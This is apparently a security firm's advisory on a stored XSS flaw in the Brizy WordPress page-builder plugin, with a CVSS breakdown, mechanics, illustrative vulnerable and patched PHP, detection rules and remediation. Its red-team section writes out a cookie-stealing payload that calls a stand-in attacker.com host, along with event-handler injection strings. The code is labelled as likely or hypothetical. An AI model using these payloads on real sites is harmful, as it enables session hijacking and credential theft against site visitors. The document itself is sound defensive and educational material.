CVE-2024-3667

Executive Summary

CVE-2024-3667 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress, affecting all versions up to and including 2.4.43. The flaw resides in the 'Link To' field of multiple widgets, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant for WordPress sites using the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.4 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is rated High due to the low complexity of exploitation, the ability to execute scripts without user interaction, and the potential for impact across multiple security domains (scope changed). Although the direct impact on confidentiality and integrity is low, the stored nature of the XSS allows persistent attacks against all visitors of the compromised page.

Deep Dive & Mechanics

The vulnerability exists in the Brizy page builder's widget system, specifically in the 'Link To' attribute. When a user with contributor-level privileges or higher creates or edits a page using Brizy, they can set a link target for various widgets (e.g., buttons, images, text). The plugin fails to properly sanitize user-supplied input in the 'Link To' field and does not escape the output when rendering the link on the front end.

An attacker can inject JavaScript code into the 'Link To' field, such as:

javascript:alert('XSS')

or

" onmouseover="alert('XSS')

When the page is rendered, the injected script becomes part of the HTML and executes in the context of the victim's browser. Because the attack is stored in the database, every visitor to the affected page is at risk.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of proper validation and encoding of the 'Link To' attribute before it is used in an href or other HTML attribute.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy <= 2.4.43): The plugin likely uses a function similar to the following to render links:

function render_link($link_to) {
    echo '<a href="' . $link_to . '">Click here</a>';
}

Here, $link_to is directly concatenated into the HTML without sanitization or escaping.

Patched Code (Hypothetical Fix): A patched version would sanitize the input and escape the output:

function render_link($link_to) {
    $sanitized_link = esc_url($link_to);
    echo '<a href="' . $sanitized_link . '">Click here</a>';
}

The esc_url() function in WordPress strips dangerous protocols like javascript: and encodes special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites:

   • A WordPress instance with Brizy plugin version <= 2.4.43.
   • An account with contributor-level privileges or higher.

2. Steps:

   • Log in to WordPress as a contributor.
   • Create a new page or edit an existing one using Brizy.
   • Add a widget that supports a 'Link To' field (e.g., a button widget).
   • In the 'Link To' field, enter a malicious payload such as:

     javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
     

   • Save and publish the page.
   • When any user (including administrators) visits the page, the script executes, sending their cookies to the attacker's server.

3. Advanced Payload:

   " onfocus="alert(1)" autofocus="true
   

   This triggers the script when the element receives focus, which can happen automatically.

Blue Team (Defense & Detection)

1. Prevention:

   • Disable or remove the Brizy plugin until a patch is available.
   • Restrict contributor-level access to trusted users only.
   • Implement a Web Application Firewall (WAF) with rules to block javascript: URIs and event handler attributes.

2. Detection:

   • Monitor WordPress database for suspicious entries in the post_content or post_meta tables containing javascript: or event handlers.
   • Use the detection rules provided in the Detection Engineering section.

3. Response:

   • If exploitation is suspected, immediately remove the malicious page and reset all user sessions.
   • Audit all pages created by contributors for similar payloads.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified WordPress pages/posts containing javascript: URIs in link fields.
  • Presence of event handler attributes (e.g., onmouseover, onfocus) in Brizy widget HTML.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers containing javascript: URIs.

• Log Indicators:

  • WordPress audit logs showing creation or modification of pages by contributor-level users with suspicious link fields.
  • Web server logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule CVE_2024_3667_Brizy_XSS {
    meta:
        description = "Detects stored XSS payloads in Brizy page builder link fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3667"
    strings:
        $javascript_uri = /href=["']javascript:/i
        $event_handler = /on\w+=["']/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3667 Brizy Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Brizy page builder link fields
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'javascript:'
            - 'onmouseover='
            - 'onfocus='
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3667 Brizy Stored XSS Attempt"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Brizy plugin until an official patch is released.
   • Review and remove any suspicious pages created by contributors.
   • Change all WordPress admin and contributor passwords.

2. Long-term Fix:

   • Apply the vendor patch when available (currently UNKNOWN).
   • If no patch is forthcoming, consider replacing Brizy with an alternative page builder that is actively maintained.

3. Compensating Controls:

   • Implement Content Security Policy (CSP) headers to restrict script execution.
   • Use a WAF with rules to block XSS payloads.
   • Enforce strict user role permissions; limit contributor access to trusted users only.

4. Monitoring:

   • Continuously monitor for new pages or posts containing suspicious link fields.
   • Set up alerts for any detection rule matches.

Valters IT
Securing Digital Frontiers